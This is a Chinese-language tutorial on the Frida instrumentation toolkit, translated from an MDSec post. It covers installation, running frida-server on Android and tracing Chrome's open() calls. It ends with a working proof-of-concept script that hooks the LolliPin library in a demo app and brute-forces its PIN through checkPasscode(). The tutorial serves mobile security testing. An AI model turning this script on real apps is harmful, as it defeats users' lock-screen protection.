<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tools/5602

                    0x00 功能介紹


                    官方主頁

                    github

                    Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.

                    類似工具:Substrate/Xposed/indroid/adbi.

                    優勢:結合python和JavaScript開發更快捷.

                    0x01 Setting up your PC


                    python環境+setuptools

                    #!bash
                    sudo easy_install frida 
                    

                    可選:源碼編譯

                    #!bash
                    $ git clone git://github.com/frida/frida.git
                    $ cd frida
                    $ make
                    

                    0x02 Testing your installation


                    創建一個進程用于注入:

                    #!bash
                    $ cat
                    

                    新建注入腳本example.py:

                    #!python
                    import frida
                    session = frida.attach("cat")
                    print([x.name for x in session.enumerate_modules()])
                    

                    linux環境下需要運行如下命令:

                    #!bash
                    $ sudo sysctl kernel.yama.ptrace_scope=0
                    

                    用于開啟非子進程的ptracing.

                    運行frida腳本,觀察:

                    #!bash
                    $ python example.py
                    

                    輸出結果類似如下,代碼環境正常安裝成功:

                    [u'cat', …, u'ld-2.15.so']
                    

                    0x03 Setting up your Android device


                    首先下載android版frida-server:

                    #!bash
                    $ curl -O http://build.frida.re/frida/android/arm/bin/frida-server
                    $ chmod +x frida-server
                    

                    下一步部署到android設備上:

                    #!bash
                    $ adb push frida-server /data/local/tmp/
                    

                    0x04 Spin up Frida


                    設備上運行frida-server:

                    #!bash  
                    $ adb shell 
                    [email protected]:/ # chmod 700 frida-server  
                    $ adb shell 
                    [email protected]:/ # /data/local/tmp/frida-server -t 0 (注意在root下運行)
                    

                    電腦上運行adb forward tcp轉發:

                    #!bash
                    adb forward tcp:27042 tcp:27042
                    adb forward tcp:27043 tcp:27043
                    

                    27042端口用于與frida-server通信,之后的每個端口對應每個注入的進程.

                    運行如下命令驗證是否成功安裝:

                    #!bash
                    $ frida-ps -R
                    

                    正常情況應該輸出進程列表如下:

                    PID NAME
                     1590 com.facebook.katana
                    13194 com.facebook.katana:providers
                    12326 com.facebook.orca
                    13282 com.twitter.android
                    …
                    

                    0x05 Tracing open() calls in Chrome


                    設備上打開chrome瀏覽器然后在pc運行如下命令:

                    #!bash 
                    $ frida-trace -R -i open com.android.chrome 
                    Uploading data... 
                    open: Auto-generated handler …/linker/open.js 
                    open: Auto-generated handler …/libc.so/open.js 
                    Started tracing 2 functions. 
                    Press ENTER to stop.
                    

                    開始使用chrome app然后會發現open()調用輸出如下:

                    1392 ms open()
                    1403 ms open()
                    1420 ms open()
                    

                    現在可以實時編輯的上述JS代碼來調用你的Android應用

                    0x06 Building your own tools


                    frida提供的幾個工具frida-trace, frida-repl...絕逼非常有用,建議閱讀Functions 和 Messages章節來了解Frida APIs,

                    首先,使用frida的API attach上需要注入的app

                    #!python
                    session = frida.get_remote_device().attach("com.mahh.secretsafe")
                    

                    session對象允許你獲取信息,同時也可以操作目標進程.比如,可以調用enumerate_modules()方法來獲取進程中加載模塊的host信息.

                    #!python
                    >>> print session.enumerate_modules()
                    [Module(name="app_process", base_address=0x40096000, size=8192, path="/system/bin/app_process"), Module(name="linker", base_address=0x4009a000, size=61440, path="/system/bin/linker"), Module(name="libcutils.so", base_address=0x400b0000, size=36864, path="/system/lib/libcutils.so"), Module(name="liblog.so", base_address=0x400bb000, size=12288, path="/system/lib/liblog.so"), Module(name="libc.so", base_address=0x400c0000, size=53248, path="/system/lib/libc.so"), Module(name="libstdc++.so", base_address=0x4011b000, size=4096, path="/system/lib/libstdc++.so"), Module(name="libm.so", base_address=0x4011e000, size=98304, path="/system/lib/libm.so")
                    

                    然后使用Javascript API,通過session的create_script()方法放入JavaScript代碼塊.JavaScript API可以用來插樁目標app的類.在這個API中有些針對android的例子,下面是一些簡單的案例:

                    取得一個類的js封裝:

                    #!python
                    Dalvik.perform(function () {
                        var MyClass = Dalvik.use("com.mdsec.MyClass");
                    });
                    

                    如果類的構造方法有一個String對象的參數,應該用如下方式創建類的實例:

                    #!javascript
                    var MyClass = Dalvik.use("com.mdsec.MyClass");
                    var MyClassInstance = MyClass.$new(“MySecretString”);
                    

                    只需要加上對應的參數就可以調用剛才新建實例的方法.例如,調用MyClass類的MyMethod方法:

                    #!javascript
                    var result = MyClassInstance.MyMethod();
                    

                    如果想替換MyMethod方法的實現來return false,使用如下代碼:

                    #!javascript
                    MyClass.MyMethod.implementation = function()
                    {
                                return false;
                    };
                    

                    Android Context(上下文)用于獲取對應app相關信息以及其運行環境.所以其被廣泛用于app中,需要找一種方法來訪問他.獲取Android Context如下代碼非常有效:

                    #!javascript
                    var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication(); 
                    var context = currentApplication.getApplicationContext();
                    

                    接下來需要用到上文中提到的create_script()方法用于注冊這段js代碼到app session中.

                    #!python
                    script = session.create_script(jscode)
                    

                    為了接收從Python session中JavaScript代碼返回的數據,還需要注冊一個message handler.注冊一個message handler先要創建方法:

                    #!python
                    def on_message(message, data):
                    print message
                    

                    然后通過調用on()方法注冊event handler:

                    #!python
                    script.on('message', on_message)
                    

                    可以通過JS方法send()給message handler發送消息.例如,使用如下代碼講Context對象發送給Python客戶端:

                    #!python
                    Dalvik.perform(function () {
                        var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
                        var context = currentApplication.getApplicationContext();
                        send(context);
                    });
                    

                    結果會返回app的context對象的地址:

                    {u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}
                    

                    現在已經掌握frida的基礎知識,現在可以實戰演練如何破解LolliPin鎖屏庫.我們創建一個使用LolliPin的app截圖如下:

                    PIN碼生效后,可以使用插樁暴力破擊.要達到這個目的首先要了解pin碼驗證是如何實現的.AppLockImpl類中驗證方法如下:

                    現在咱們忽略LolliPin的其他漏洞,就搞PIN碼的暴露破解,這是客戶端認證通過都會受到的分析.

                    可以創建一個AppLockImpl的實例,但是為了節約內存我們直接調用已有的.分析發現AppLockImpl被調用在LockManager的getAppLock()中,這個就僅僅返回了AppLock對象.而AppLock是抽象類AppLockImpl的具現.

                    LockManager有一個幫助方法用于返回自己的實例.

                    結合上面的分析,咱們可以通過LockManager.getInstance()得到LockManager的實例,再調用getAppLock()得到AppLock.最后就可以調用AppLock的 checkPasscode()方法了.

                    #!javascript
                    var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
                    var LockManagerInstance = LockManager.getInstance();
                    var AppLock = LockManagerInstance.getAppLock();
                    

                    通過for循環調用checkPasscode()來達到暴力破解的目的:

                    #!javascript
                    for(var i=1230; i<1235; i++)
                    {
                        var result = AppLock.checkPasscode(i+"");
                        send(i + ": " + result);
                    }
                    

                    此循環將嘗試1230到1235的pin碼(已知PIN為1234...),最后利用空字符串將pin碼連接起來做個強制轉換再打印出來.運行腳本效果如下:

                    [*] Bruteforcing PIN code
                    [*] Testing PIN 1230: false
                    [*] Testing PIN 1231: false
                    [*] Testing PIN 1232: false
                    [*] Testing PIN 1233: false
                    [*] Testing PIN 1234: true
                    

                    最后完整的frida代碼塊如下:

                    #!python
                    # LolliPin bruteforce proof of concept
                    # Author: Dominic Chell - @domchell
                    
                    import frida,sys
                    
                    def print_result(message):
                                print "[*] Testing PIN %s" %(message)
                    
                    def on_message(message, data):
                                print_result(message['payload'])
                    
                    jscode = """
                    
                    Dalvik.perform(function () {
                    
                        var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
                        var LockManagerInstance = LockManager.getInstance();
                        var AppLock = LockManagerInstance.getAppLock();
                    
                        for(var i=1230; i<1235; i++)
                        {
                                var result = AppLock.checkPasscode(i+"");
                            send(i + ": " + result);
                        }
                    });
                    """
                    
                    process = frida.get_device_manager().enumerate_devices()[-1].attach("com.mahh.secretsafe")
                    session = process.session
                    
                    script = session.create_script(jscode)
                    script.on('message', on_message)
                    
                    print "[*] Bruteforcing PIN code"
                    
                    script.load()
                    sys.stdin.read()
                    

                    0x07 reference


                    http://www.frida.re/docs/installation/

                    http://www.frida.re/docs/android/

                    http://www.frida.re/docs/javascript-api/

                    http://www.frida.re/docs/functions/

                    http://www.frida.re/docs/messages/

                    http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频